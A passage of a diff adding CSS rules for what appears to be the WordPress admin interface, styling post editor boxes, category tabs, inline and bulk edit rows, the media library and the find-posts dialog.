+	min-width: 255px;
+	width: 99.5%;
+}
+
+#trackback_url {
+	width: 99%;
+}
+
+#normal-sortables .postbox .submit {
+	background: transparent none;
+	border: 0 none;
+	float: right;
+	padding: 0 12px;
+	margin: 0;
+}
+
+#normal-sortables .postbox #replyrow .submit {
+	float: none;
+	margin: 0;
+	padding: 3px 7px;
+}
+
+#side-sortables .submitbox .submit input,
+#side-sortables .submitbox .submit .preview,
+#side-sortables .submitbox .submit a.preview:hover {
+	border: 0 none;
+}
+
+#side-sortables .inside-submitbox .insidebox,
+.stuffbox .insidebox {
+	margin: 11px 0;
+}
+
+#side-sortables .comments-box,
+#normal-sortables .comments-box {
+	border: 0 none;
+}
+
+#side-sortables .comments-box thead th,
+#normal-sortables .comments-box thead th {
+	background: transparent;
+	padding: 0 7px 4px;
+	font-style: italic;
+}
+
+#commentsdiv img.waiting {
+	padding-left: 5px;
+	vertical-align: middle;
+}
+
+#post-body .tagsdiv #newtag {
+	margin-right: 5px;
+	width: 16em;
+}
+
+#side-sortables input#post_password {
+	width: 94%
+}
+
+#side-sortables .tagsdiv #newtag {
+	width: 68%;
+}
+
+#post-status-info {
+	border-width: 0 1px 1px;
+	border-style: none solid solid;
+	width: 100%;
+	-moz-border-radius: 0 0 6px 6px;
+	-webkit-border-bottom-left-radius: 6px;
+	-webkit-border-bottom-right-radius: 6px;
+	-khtml-border-bottom-left-radius: 6px;
+	-khtml-border-bottom-right-radius: 6px;
+	border-bottom-left-radius: 6px;
+	border-bottom-right-radius: 6px;
+}
+
+#post-status-info td {
+	font-size: 11px;
+}
+
+.autosave-info {
+	padding: 2px 15px 2px 2px;
+	text-align: right;
+}
+
+#editorcontent #post-status-info {
+	border: none;
+}
+
+#post-body .wp_themeSkin .mceStatusbar a.mceResize {
+	display: block;
+	background: transparent url(images/resize.gif) no-repeat scroll right bottom;
+	width: 12px;
+	cursor: se-resize;
+	margin: 0 2px;
+	position: relative;
+	top: 22px;
+}
+
+
+#pagesubmitdiv div.inside,
+#linksubmitdiv div.inside,
+ div.inside {
+	padding: 0;
+	margin: 0;
+}
+
+#comment-status-radio p {
+	margin: 3px 0 5px;
+}
+
+#comment-status-radio input {
+	margin: 2px 3px 5px 0;
+	vertical-align: middle;
+}
+
+#comment-status-radio label {
+	padding: 5px 0;
+}
+
+.tagchecklist {
+	margin-left: 10px;
+	font-size: 12px;
+	overflow: auto;
+}
+
+.tagchecklist strong {
+	margin-left: -8px;
+	position: absolute;
+}
+
+.tagchecklist span {
+	margin-right: 25px;
+	display: block;
+	float: left;
+	font-size: 11px;
+	line-height: 1.8em;
+	white-space: nowrap;
+	cursor: default;
+}
+
+.tagchecklist span a {
+	margin: 6px 0pt 0pt -9px;
+	cursor: pointer;
+	width: 10px;
+	height: 10px;
+	display: block;
+	float: left;
+	text-indent: -9999px;
+	overflow: hidden;
+	position: absolute;
+}
+
+.howto {
+	font-style: italic;
+	display: block;
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+}
+
+.ac_results {
+	padding: 0;
+	margin: 0;
+	list-style: none;
+	position: absolute;
+	z-index: 10000;
+	display: none;
+	border-width: 1px;
+	border-style: solid;
+}
+
+.ac_results li {
+	padding: 2px 5px;
+	white-space: nowrap;
+	text-align: left;
+}
+
+.ac_over {
+	cursor: pointer;
+}
+
+.ac_match {
+	text-decoration: underline;
+}
+
+#poststuff h2 {
+	margin-top: 20px;
+	font-size: 1.5em;
+	margin-bottom: 15px;
+	padding: 0 0 3px;
+	clear: left;
+}
+
+.widget .widget-top,
+.postbox h3 {
+	cursor: move;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-khtml-user-select: none;
+	user-select: none;
+}
+
+.postbox .hndle span {
+	padding: 6px 0;
+}
+
+.postbox .hndle {
+	cursor: move;
+}
+
+.hndle a {
+	font-size: 11px;
+	font-weight: normal;
+}
+
+#dashboard-widgets .meta-box-sortables {
+	margin: 0 5px;
+}
+
+.postbox .handlediv {
+	float: right;
+	width: 23px;
+	height: 26px;
+}
+
+.sortable-placeholder {
+	border-width: 1px;
+	border-style: dashed;
+	margin-bottom: 20px;
+}
+
+#poststuff h3,
+.metabox-holder h3 {
+	font-size: 12px;
+	font-weight: bold;
+	padding: 7px 9px;
+	margin: 0;
+	line-height: 1;
+}
+
+.widget,
+.postbox,
+.stuffbox {
+	margin-bottom: 20px;
+	border-width: 1px;
+	border-style: solid;
+	line-height: 1;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+
+.widget .widget-top,
+.postbox h3,
+.postbox h3,
+.stuffbox h3 {
+	-moz-border-radius: 6px 6px 0 0;
+	-webkit-border-top-right-radius: 6px;
+	-webkit-border-top-left-radius: 6px;
+	-khtml-border-top-right-radius: 6px;
+	-khtml-border-top-left-radius: 6px;
+	border-top-right-radius: 6px;
+	border-top-left-radius: 6px;
+}
+
+.postbox.closed h3 {
+	-moz-border-radius-bottomleft:4px;
+	-webkit-border-bottom-left-radius: 4px;
+	-khtml-border-bottom-left-radius: 4px;
+	border-bottom-left-radius: 4px;
+	-moz-border-radius-bottomright:4px;
+	-webkit-border-bottom-right-radius: 4px;
+	-khtml-border-bottom-right-radius: 4px;
+	border-bottom-right-radius: 4px;
+}
+
+.postbox table.form-table {
+	margin-bottom: 0;
+}
+
+.postbox input[type="text"],
+.postbox textarea,
+.stuffbox input[type="text"],
+.stuffbox textarea {
+	border-width: 1px;
+	border-style: solid;
+}
+
+#poststuff .inside,
+#poststuff .inside p {
+	font-size: 11px;
+	margin: 6px;
+}
+
+#poststuff .inside .submitbox p {
+	margin: 1em 0;
+}
+
+#post-visibility-select {
+	line-height: 1.5em;
+	margin-top: 3px;
+}
+
+#poststuff #submitdiv .inside {
+	margin: 0;
+}
+
+#titlediv, #poststuff .postarea {
+	margin-bottom: 20px;
+}
+
+#titlediv {
+	margin-bottom: 20px;
+}
+#titlediv label { cursor: text; }
+
+#titlediv div.inside {
+	margin: 0;
+}
+
+#poststuff #titlewrap {
+	border: 0;
+	padding: 0;
+
+}
+
+#titlediv #title {
+	padding: 3px 4px;
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+	font-size: 1.7em;
+	width: 100%;
+	outline: none;
+}
+
+#poststuff .inside-submitbox,
+#side-sortables .inside-submitbox {
+	margin: 0 3px;
+	font-size: 11px;
+}
+
+input#link_description,
+input#link_url {
+	width: 98%;
+}
+
+#pending {
+	background: 0 none;
+	border: 0 none;
+	padding: 0;
+	font-size: 11px;
+	margin-top: -1px;
+}
+
+#edit-slug-box {
+	height: 1em;
+	margin-top: 8px;
+	padding: 0 7px;
+}
+
+#editable-post-name-full {
+	display: none;
+}
+
+#editable-post-name input {
+	width: 16em;
+}
+
+.postarea h3 label {
+	float: left;
+}
+
+.postarea #add-media-button {
+	float: right;
+	margin: 7px 0pt 0pt;
+	position: relative;
+	right: 10px;
+}
+
+#poststuff #editor-toolbar {
+	height: 30px;
+}
+
+.wp_themeSkin tr.mceFirst td.mceToolbar {
+	border-width: 0 0 1px;
+	border-style: none none solid;
+}
+
+#edButtonPreview,
+#edButtonHTML {
+	height: 18px;
+	margin: 5px 5px 0 0;
+	padding: 4px 5px 2px;
+	float: right;
+	cursor: pointer;
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 3px 3px 0 0;
+	-webkit-border-top-right-radius: 3px;
+	-webkit-border-top-left-radius: 3px;
+	-khtml-border-top-right-radius: 3px;
+	-khtml-border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	border-top-left-radius: 3px;
+}
+
+.js .theEditor {
+	color: white;
+}
+
+#poststuff #edButtonHTML {
+	margin-right: 15px;
+}
+
+#media-buttons {
+	cursor: default;
+	padding: 8px 8px 0;
+}
+
+#media-buttons a {
+	cursor: pointer;
+	padding: 0 0 5px 10px;
+}
+
+#media-buttons img {
+	vertical-align: middle;
+}
+
+.submitbox .submit {
+	text-align: left;
+	padding: 12px 10px 10px;
+	font-size: 11px;
+}
+
+.submitbox .submitdelete {
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+	text-decoration: none;
+	padding: 1px 2px;
+}
+
+.inside-submitbox #post_status {
+	margin: 2px 0 2px -2px;
+}
+
+.submitbox .submit a:hover {
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+}
+
+.submitbox .submit input {
+	margin-bottom: 8px;
+	margin-right: 4px;
+	padding: 6px;
+}
+
+#post-status-select {
+	line-height: 2.5em;
+	margin-top: 3px;
+}
+
+/* Categories */
+
+#category-adder {
+	margin-left: 120px;
+	padding: 4px 0;
+}
+
+#category-adder h4 {
+	margin: 0 0 8px;
+}
+
+#side-sortables #category-adder {
+	margin: 0;
+}
+
+#post-body #category-add input, #category-add select {
+	width: 30%;
+}
+
+#side-sortables #category-add input {
+	width: 94%;
+}
+
+#side-sortables #category-add select {
+	width: 100%;
+}
+
+#category-add input#category-add-sumbit {
+	width: auto;
+}
+
+#post-body ul#category-tabs {
+	float: left;
+	width: 120px;
+	text-align: right;
+	/* Negative margin for the sake of those without JS: all tabs display */
+	margin: 0 -120px 0 5px;
+	padding: 0;
+}
+
+#post-body ul#category-tabs li {
+	padding: 8px;
+}
+
+#post-body ul#category-tabs li.tabs {
+	-moz-border-radius: 3px 0 0 3px;
+	-webkit-border-top-left-radius: 3px;
+	-webkit-border-bottom-left-radius: 3px;
+	-khtml-border-top-left-radius: 3px;
+	-khtml-border-bottom-left-radius: 3px;
+	border-top-left-radius: 3px;
+	border-bottom-left-radius: 3px;
+}
+
+#post-body ul#category-tabs li.tabs a {
+	font-weight: bold;
+	text-decoration: none;
+}
+
+#categorydiv div.tabs-panel,
+#linkcategorydiv div.tabs-panel {
+	height: 150px;
+	overflow: auto;
+	padding: 0.5em 0.9em;
+	border-style: solid;
+	border-width: 1px;
+}
+
+#post-body #categorydiv div.tabs-panel,
+#post-body #linkcategorydiv div.tabs-panel {
+	margin: 0 5px 0 125px;
+}
+
+#side-sortables #category-tabs li {
+	display: inline;
+	padding-right: 8px;
+}
+
+#side-sortables #category-tabs a {
+	text-decoration: none;
+}
+
+#side-sortables #category-tabs {
+	margin-bottom: 3px;
+}
+
+#categorydiv ul,
+#linkcategorydiv ul {
+	list-style: none;
+	padding: 0;
+	margin: 0;
+}
+
+#categorydiv ul.categorychecklist ul,
+#linkcategorydiv ul.categorychecklist ul {
+	margin-left: 18px;
+}
+
+ul.categorychecklist li {
+	margin: 0;
+	padding: 0;
+	line-height: 19px;
+}
+
+#category-adder h4 {
+	margin-top: 4px;
+	margin-bottom: 0px;
+}
+
+#categorydiv .tabs-panel {
+	border-width: 3px;
+	border-style: solid; 
+}
+
+ul#category-tabs {
+	margin-top: 12px;
+}
+
+ul#category-tabs li.tabs {
+	border-style: solid solid none;
+	border-width: 1px 1px 0;
+}
+
+#post-body #category-tabs li.tabs {
+	border-style: solid none solid solid;
+	border-width: 1px 0 1px 1px;
+	margin-right: -1px;
+}
+
+ul#category-tabs li {
+	padding: 5px 8px;
+	-moz-border-radius: 3px 3px 0 0;
+	-webkit-border-top-left-radius: 3px;
+	-webkit-border-top-right-radius: 3px;
+	-khtml-border-top-left-radius: 3px;
+	-khtml-border-top-right-radius: 3px;
+	border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+}
+
+/* positioning etc. */
+
+form#tags-filter {
+	position: relative;
+}
+
+p.search-box {
+	float: right;
+	margin: -5px 0 0;
+}
+
+.screen-per-page {
+	width: 3em;
+}
+
+#posts-filter fieldset {
+	float: left;
+	margin: 0 1.5ex 1em 0;
+	padding: 0;
+}
+
+#posts-filter fieldset legend {
+	padding: 0 0 .2em 1px;
+}
+
+/* Edit posts */
+
+td.post-title strong, td.plugin-title strong {
+	display: block;
+	margin-bottom: .2em;
+}
+
+td.post-title p, td.plugin-title p {
+	margin: 6px 0;
+}
+
+td.plugin-title {
+	white-space: nowrap;
+}
+
+/* Global classes */
+
+.wp-hidden-children .wp-hidden-child,
+.ui-tabs-hide,
+#codepress-off {
+	display: none;
+}
+
+.commentlist .avatar {
+	vertical-align: text-top;
+}
+
+.defaultavatarpicker .avatar {
+	margin: 2px 0;
+	vertical-align: middle;
+}
+
+body.wp-admin {
+	min-width: 785px;
+}
+
+.view-switch {
+	float: right;
+	margin: 6px 8px 0;
+}
+
+.view-switch a {
+	text-decoration: none;
+}
+
+.filter {
+	float: left;
+	margin: -5px 0 0 10px;
+}
+
+.filter .subsubsub {
+	margin-left: -10px;
+	margin-top: 13px;
+}
+
+#the-comment-list td.comment p.comment-author {
+	margin-top: 0;
+	margin-left: 0;
+}
+
+#the-comment-list p.comment-author img {
+	float: left;
+	margin-right: 8px;
+}
+
+#the-comment-list p.comment-author strong a {
+	border: none;
+}
+
+#the-comment-list td {
+	vertical-align: top;
+}
+
+#the-comment-list td.comment {
+	word-wrap: break-word;
+}
+
+#the-comment-list .check-column {
+	padding-top: 8px;
+}
+
+#templateside ul li a {
+	text-decoration: none;
+}
+
+.indicator-hint {
+	padding-top: 8px;
+}
+
+#display_name {
+	width: 15em;
+}
+
+.tablenav .delete {
+	margin-right: 20px;
+}
+
+td.action-links,
+th.action-links {
+	text-align: right;
+}
+
+/* Diff */
+
+table.diff {
+	width: 100%;
+}
+
+table.diff col.content {
+	width: 50%;
+}
+
+table.diff tr {
+	background-color: transparent;
+}
+
+table.diff td, table.diff th {
+	padding: .5em;
+	font-family: Consolas, Monaco, Courier, monospace;
+	border: none;
+}
+
+table.diff .diff-deletedline del, table.diff .diff-addedline ins {
+	text-decoration: none;
+}
+
+#wp-word-count {
+	display: block;
+	padding: 2px 7px;
+}
+
+fieldset {
+	border: 0;
+	padding: 0;
+	margin: 0;
+}
+
+.tool-box {
+	margin: 15px 0 35px;
+}
+
+.tool-box .buttons {
+	margin: 15px 0;
+}
+
+.tool-box .title {
+	margin: 8px 0;
+	font: 18px/24px Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+}
+
+.pressthis a {
+	font-size: 1.2em;
+}
+
+#wp_editbtns,
+#wp_gallerybtns {
+	padding: 2px;
+	position: absolute;
+	display: none;
+	z-index: 999998;
+}
+
+#wp_editimgbtn,
+#wp_delimgbtn,
+#wp_editgallery,
+#wp_delgallery {
+	margin: 2px;
+	padding: 2px;
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+.settings-toggle {
+	text-align: right;
+	margin: 5px 7px 15px 0;
+	font-size: 12px;
+}
+
+.settings-toggle h3 {
+	margin: 0;
+}
+
+#timestampdiv select {
+	height: 20px;
+	line-height: 20px;
+	padding: 0;
+}
+
+#jj, #hh, #mn {
+	width: 2em;
+	padding: 1px;
+	font-size: 12px;
+}
+
+#aa {
+	width: 3.4em;
+	padding: 1px;
+	font-size: 12px;
+}
+
+.curtime #timestamp {
+	background-repeat: no-repeat;
+	background-position: left top;
+	padding-left: 18px;
+}
+
+#timestampdiv {
+	padding-top: 5px;
+	line-height: 23px;
+}
+
+#timestampdiv p {
+	margin: 8px 0 6px;
+}
+
+#timestampdiv input {
+	border-width: 1px;
+	border-style: solid;
+}
+
+/* media popup 0819 */
+#sidemenu {
+	margin: -30px 15px 0 315px;
+	list-style: none;
+	position: relative;
+	float: right;
+	padding-left: 10px;
+	font-size: 12px;
+}
+
+#sidemenu a {
+	padding: 0 7px;
+	display: block;
+	float: left;
+	line-height: 28px;
+	border-top-width: 1px;
+	border-top-style: solid;
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+}
+
+#sidemenu li {
+	display: inline;
+	line-height: 200%;
+	list-style: none;
+	text-align: center;
+	white-space: nowrap;
+	margin: 0;
+	padding: 0;
+}
+
+#sidemenu a.current {
+	font-weight: normal;
+	padding-left: 6px;
+	padding-right: 6px;
+	-moz-border-radius: 4px 4px 0 0;
+	-webkit-border-top-left-radius: 4px;
+	-webkit-border-top-right-radius: 4px;
+	-khtml-border-top-left-radius: 4px;
+	-khtml-border-top-right-radius: 4px;
+	border-top-left-radius: 4px;
+	border-top-right-radius: 4px;
+	border-width: 1px;
+	border-style: solid;
+}
+
+#sidemenu {
+	margin: -30px 15px 0 315px;
+	list-style: none;
+	position: relative;
+	float: right;
+	padding-left: 10px;
+	font-size: 12px;
+}
+
+#sidemenu a {
+	padding: 0 7px;
+	display: block;
+	float: left;
+	line-height: 28px;
+	border-top-width: 1px;
+	border-top-style: solid;
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+}
+
+#sidemenu li a .count-0 {
+	display: none;
+}
+
+/* reply to comments */
+#replyrow {
+	font-size: 11px;
+}
+
+#replyrow input {
+	border-width: 1px;
+	border-style: solid;
+}
+
+#replyrow td {
+	padding: 2px;
+}
+
+#replyrow #editorcontainer {
+	border: 0 none;
+}
+
+#replysubmit {
+	margin: 0;
+	padding: 3px 7px;
+}
+
+#replysubmit img.waiting,
+.inline-edit-save img.waiting,
+#commentstatusdiv img.waiting {
+	padding: 0 10px;
+	vertical-align: top;
+}
+
+#replysubmit .button {
+	margin-right: 5px;
+}
+
+#replyrow #editor-toolbar {
+	display: none;
+}
+
+#replyhead {
+	font-size: 12px;
+	font-weight: bold;
+	padding: 2px 10px 4px;
+}
+
+#edithead .inside {
+	float: left;
+	padding: 3px 0 2px 5px;
+	margin: 0;
+	text-align: center;
+	font-size: 11px;
+}
+
+#edithead .inside input {
+	width: 180px;
+	font-size: 11px;
+}
+
+#edithead label {
+	padding: 2px 0;
+}
+
+#replycontainer {
+	padding: 5px;
+	border: 0 none;
+	height: 120px;
+	overflow: hidden;
+	position: relative;
+}
+
+#replycontent {
+	resize: none;
+	margin: 0;
+	width: 100%;
+	height: 100%;
+	padding: 0;
+	line-height: 150%;
+	border: 0 none;
+	outline: none;
+	font-size: 12px;
+}
+
+#replyrow #ed_reply_toolbar {
+	margin: 0;
+	padding: 2px 3px;
+}
+
+/* show/hide settings */
+#screen-meta {
+	position: relative;
+	clear: both;
+}
+
+#screen-meta-links {
+	margin: 0 9px 0 0;
+}
+
+#screen-meta .screen-reader-text {
+	visibility: hidden;
+}
+
+#screen-options-link-wrap,
+#contextual-help-link-wrap {
+	float: right;
+	background: transparent url( images/screen-options-left.gif ) no-repeat 0 0;
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	height: 22px;
+	padding: 0;
+	margin: 0 6px 0 0;
+}
+
+#screen-meta a.show-settings {
+	text-decoration: none;
+	z-index: 1;
+	padding: 0 16px 0 6px;
+	height: 22px;
+	line-height: 22px;
+	font-size: 10px;
+	display: block;
+	background-repeat: no-repeat;
+	background-position: right bottom;
+}
+
+#screen-meta a.show-settings {
+	background-image: url( images/screen-options-right.gif );
+}
+
+#screen-meta a.show-settings:hover {
+	text-decoration: none;
+}
+
+#screen-options-wrap h5,
+#contextual-help-wrap h5 {
+	margin: 8px 0;
+	font-size: 13px;
+}
+
+#screen-options-wrap,
+#contextual-help-wrap {
+	border-style: none solid solid;
+	border-top: 0 none;
+	border-width: 0 1px 1px;
+	margin: 0 15px;
+	padding: 8px 12px 12px;
+	-moz-border-radius: 0 0 0 4px;
+	-webkit-border-bottom-left-radius: 4px;
+	-khtml-border-bottom-left-radius: 4px;
+	border-bottom-left-radius: 4px;
+}
+
+.metabox-prefs label {
+	padding-right: 15px;
+	white-space: nowrap;
+	line-height: 30px;
+}
+
+.metabox-prefs label input {
+	margin: 0 5px 0 2px;
+}
+
+.metabox-prefs label a {
+	display: none;
+}
+
+/* Inline Editor
+	.quick-edit* is for Quick Edit
+	.bulk-edit* is for Bulk Edit
+	.inline-edit* is for everything
+*/
+/*	Layout */
+tr.inline-edit-row td {
+	padding: 0 0.5em;
+}
+
+#wpbody-content .inline-edit-row fieldset {
+	font-size: 12px;
+	float: left;
+	margin: 0;
+	padding: 0;
+	width: 100%;
+}
+
+#wpbody-content .inline-edit-row fieldset .inline-edit-col {
+	padding: 0 0.5em;
+}
+
+#wpbody-content .quick-edit-row-page fieldset.inline-edit-col-right .inline-edit-col {
+	border-width: 0 0 0 1px;
+	border-style: none none none solid;
+}
+
+#wpbody-content .quick-edit-row-post .inline-edit-col-left {
+	width: 40%;
+}
+
+#wpbody-content .quick-edit-row-post .inline-edit-col-right {
+	width: 39%;
+}
+
+#wpbody-content .inline-edit-row-post .inline-edit-col-center {
+	width: 20%;
+}
+
+#wpbody-content .quick-edit-row-page .inline-edit-col-left {
+	width: 50%;
+}
+
+#wpbody-content .quick-edit-row-page .inline-edit-col-right,
+#wpbody-content .bulk-edit-row-post .inline-edit-col-right {
+	width: 49%;
+}
+
+#wpbody-content .bulk-edit-row .inline-edit-col-left {
+	width: 30%;
+}
+
+#wpbody-content .bulk-edit-row-page .inline-edit-col-right {
+	width: 69%;
+}
+
+#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
+	float: right;
+	width: 69%;
+}
+
+#wpbody-content .inline-edit-row-page .inline-edit-col-right,
+#owpbody-content .bulk-edit-row-post .inline-edit-col-right {
+	margin-top: 27px;
+}
+
+.inline-edit-row fieldset .inline-edit-group {
+	clear: both;
+}
+
+.inline-edit-row fieldset .inline-edit-group:after {
+	content: ".";
+	display: block;
+	height: 0;
+	clear: both;
+	visibility: hidden;
+}
+
+.inline-edit-row p.submit {
+	clear: both;
+	padding: 0.5em;
+	margin: 0.5em 0 0;
+}
+
+.inline-edit-row span.error {
+	line-height: 22px;
+	margin: 0 15px;
+	padding: 3px 5px;
+}
+
+/*	Positioning */
+.inline-edit-row h4 {
+	margin: .2em 0;
+	padding: 0;
+	line-height: 23px;
+}
+.inline-edit-row fieldset span.title,
+.inline-edit-row fieldset span.checkbox-title {
+	margin: 0;
+	padding: 0;
+	line-height: 27px;
+}
+
+.inline-edit-row fieldset label,
+.inline-edit-row fieldset span.inline-edit-categories-label {
+	display: block;
+	margin: .2em 0;
+}
+
+.inline-edit-row fieldset label.inline-edit-tags {
+	margin-top: 0;
+}
+
+.inline-edit-row fieldset label.inline-edit-tags span.title {
+	margin: .2em 0;
+}
+
+.inline-edit-row fieldset label span.title {
+	display: block;
+	float: left;
+	width: 5em;
+}
+
+.inline-edit-row fieldset label span.input-text-wrap {
+	display: block;
+	margin-left: 5em;
+}
+
+.quick-edit-row-post fieldset.inline-edit-col-right label span.title {
+	width: auto;
+	padding-right: 0.5em;
+}
+
+.inline-edit-row .input-text-wrap input[type=text] {
+	width: 100%;
+}
+
+.inline-edit-row fieldset label input[type=checkbox] {
+	vertical-align: text-bottom;
+}
+
+.inline-edit-row fieldset label textarea {
+	width: 100%;
+	height: 4em;
+}
+
+#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
+	max-width: 50%;
+}
+
+#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child {
+	margin-right: 0.5em
+}
+
+/*	Styling */
+.inline-edit-row h4 {
+	text-transform: uppercase;
+}
+
+.inline-edit-row fieldset span.title,
+.inline-edit-row fieldset span.checkbox-title {
+	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	font-style: italic;
+	line-height: 1.8em;
+}
+
+/*	Specific Elements */
+.inline-edit-row fieldset input[type="text"],
+.inline-edit-row fieldset textarea {
+	border-style: solid;
+	border-width: 1px;
+}
+
+.inline-edit-row fieldset .inline-edit-date {
+	float: left;
+}
+
+.inline-edit-row fieldset input[name=jj],
+.inline-edit-row fieldset input[name=hh],
+.inline-edit-row fieldset input[name=mn] {
+	font-size: 12px;
+	width: 2.1em;
+}
+
+.inline-edit-row fieldset input[name=aa] {
+	font-size: 12px;
+	width: 3.5em;
+}
+
+.inline-edit-row fieldset label input.inline-edit-password-input {
+	width: 8em;
+}
+
+.inline-edit-row .catshow,
+.inline-edit-row .cathide {
+	cursor: pointer;
+}
+
+ul.cat-checklist {
+	height: 12em;
+	border-style: solid;
+	border-width: 1px;
+	overflow-y: scroll;
+	padding: 0 5px;
+	margin: 0;
+}
+
+#bulk-titles {
+	display: block;
+	height: 12em;
+	border-style: solid;
+	border-width: 1px;
+	overflow-y: scroll;
+	padding: 0 5px;
+	margin: 0 0 5px;
+}
+
+.inline-edit-row fieldset ul.cat-checklist li,
+.inline-edit-row fieldset ul.cat-checklist input {
+	margin: 0;
+}
+
+.inline-edit-row fieldset ul.cat-checklist label,
+.inline-edit-row .catshow,
+.inline-edit-row .cathide,
+.inline-edit-row #bulk-titles div {
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	font-style: normal;
+	font-size: 11px;
+}
+
+table .inline-edit-row fieldset ul.cat-hover {
+	height: auto;
+	max-height: 30em;
+	overflow-y: auto;
+	position: absolute;
+}
+
+.inline-edit-row fieldset label input.inline-edit-menu-order-input {
+	width: 3em;
+}
+
+.inline-edit-row fieldset label input.inline-edit-slug-input {
+	width: 75%;
+}
+
+.quick-edit-row-post fieldset label.inline-edit-status {
+	float: left;
+}
+
+#bulk-titles {
+	line-height: 140%;
+}
+#bulk-titles div {
+	margin: 0.2em 0.3em;
+}
+
+#bulk-titles div a {
+	cursor: pointer;
+	display: block;
+	float: left;
+	height: 10px;
+	margin: 3px 3px 0 -2px;
+	overflow: hidden;
+	position: relative;
+	text-indent: -9999px;
+	width: 10px;
+}
+
+/* Media library */
+#wpbody-content #media-items .describe {
+	border-collapse: collapse;
+	width: 100%;
+	border-top-style: solid;
+	border-top-width: 1px;
+	clear: both;
+	cursor: default;
+	padding: 5px;
+	width: 100%;
+}
+
+#wpbody-content .describe .media-item-info tr {
+	background-color: transparent;
+}
+
+#wpbody-content .filename {
+	padding: 0 10px;
+}
+
+#wpbody-content .media-item .thumbnail {
+	max-height: 128px;
+	max-width: 128px;
+}
+
+#wpbody-content .media-upload-form label {
+	display: block;
+	font-size: 13px;
+	margin: 0.5em;
+}
+
+abbr.required {
+	border: medium none;
+	text-decoration: none;
+}
+
+#wpbody-content .describe input[type="text"],
+#wpbody-content .describe textarea {
+	width: 460px;
+}
+
+#wpbody-content .describe p.help {
+	margin: 0;
+	padding: 0 0 0 5px;
+}
+
+.describe-toggle-on, .describe-toggle-off {
+	display: block;
+	line-height: 36px;
+	float: right;
+	margin-right: 20px;
+}
+
+.describe-toggle-off {
+	display: none;
+}
+
+#wpbody-content .media-item {
+	border-bottom-style: solid;
+	border-bottom-width: 1px;
+	min-height: 36px;
+	position: relative;
+	width: 100%;
+}
+
+#wpbody-content #media-items {
+	border-style: solid solid none;
+	border-width: 1px;
+	width: 670px;
+}
+
+#wpbody-content #media-items .filename {
+	line-height: 36px;
+	overflow: hidden;
+}
+
+.media-item .pinkynail {
+	float: left;
+	height: 32px;
+	margin: 2px;
+	max-width: 40px;
+	max-height: 40px;
+}
+
+.media-item .startopen,
+.media-item .startclosed {
+	display: none;
+}
+
+.media-item .original {
+	position: relative;
+	height: 34px;
+	text-align: center;
+}
+
+.media-item .percent {
+	font-weight: bold;
+}
+
+.crunching {
+	display: block;
+	line-height: 32px;
+	text-align: right;
+	margin-right: 5px;
+}
+
+button.dismiss {
+	position: absolute;
+	top: 7px;
+	right: 5px;
+	z-index: 4;
+	width: 8em;
+}
+
+.file-error {
+	float: left;
+	font-weight: bold;
+	padding: 10px;
+}
+
+.progress {
+	position: relative;
+	margin-bottom: -36px;
+	height: 36px;
+}
+
+.bar {
+	width: 0;
+	height: 100%;
+	border-right-width: 3px;
+	border-right-style: solid;
+}
+
+#media-items a.delete,
+#media-items a.del-link {
+	padding: 1px 4px 2px;
+}
+
+
+/* find posts */
+.find-box {
+	width: 500px;
+	height: 300px;
+	overflow: hidden;
+	padding: 33px 5px 40px;
+	position: absolute;
+	z-index: 1000;
+}
+
+.find-box-head {
+	cursor: move;
+	font-weight: bold;
+	height: 2em;
+	line-height: 2em;
+	padding: 1px 12px;
+	position: absolute;
+	top: 5px;
+	width: 100%;
+}
+
+.find-box-inside {
+	overflow: auto;
+	width: 100%;
+	height: 100%;
+}
+
+.find-box-search {
+	padding: 12px;
+	border-width: 1px;
+	border-style: none none solid;
+}
+
+#find-posts-response {
+	margin: 8px 0;
+	padding: 0 1px;
+}
+
+#find-posts-response table {
+	width: 100%;
+}
+
+#find-posts-response .found-radio {
+	padding: 5px 0 0 8px;
+	width: 15px;
+}
+
+.find-box-buttons {
+	width: 480px;
+	margin: 8px;
+}
+
+.find-box-search label {
+	padding-right: 6px;
+}
+
+.find-box #resize-se {
+	position: absolute;
+	right: 1px;
+	bottom: 1px;
+}
+
+/* favorite-actions */
+#favorite-actions {
+	float: right;
+	margin: 11px 12px 0;
+	min-width: 130px;
+	position: relative;
+}
+
+#favorite-first {
+	-moz-border-radius: 12px;
+	-khtml-border-radius: 12px;
+	-webkit-border-radius: 12px;
+	border-radius: 12px;
+	line-height: 15px;
+	padding: 3px 30px 4px 12px;
+	border-width: 1px;
+	border-style: solid;
+}
+
+#favorite-inside {
+	margin: 0 0 0 0px;
+	padding: 0 1px 6px 1px;
+	border-width: 1px;
+	border-style: solid;
+	position: absolute;
+	z-index: 11;
+	display: none;
+	-moz-border-radius: 0 0 12px 12px;
+	-webkit-border-bottom-right-radius: 12px;
+	-webkit-border-bottom-left-radius: 12px;
+	-khtml-border-bottom-right-radius: 12px;
+	-khtml-border-bottom-left-radius: 12px;
+	border-bottom-right-radius: 12px;
+	border-bottom-left-radius: 12px;
+}
+
+#favorite-actions a {
+	display: block;
+	text-decoration: none;
+	font-size: 11px;
+}
+
+#favorite-inside a {
+	padding: 3px 5px 3px 10px;
+}
+
+#favorite-toggle {
+	height: 22px;
+	position: absolute;
+	right: 0;
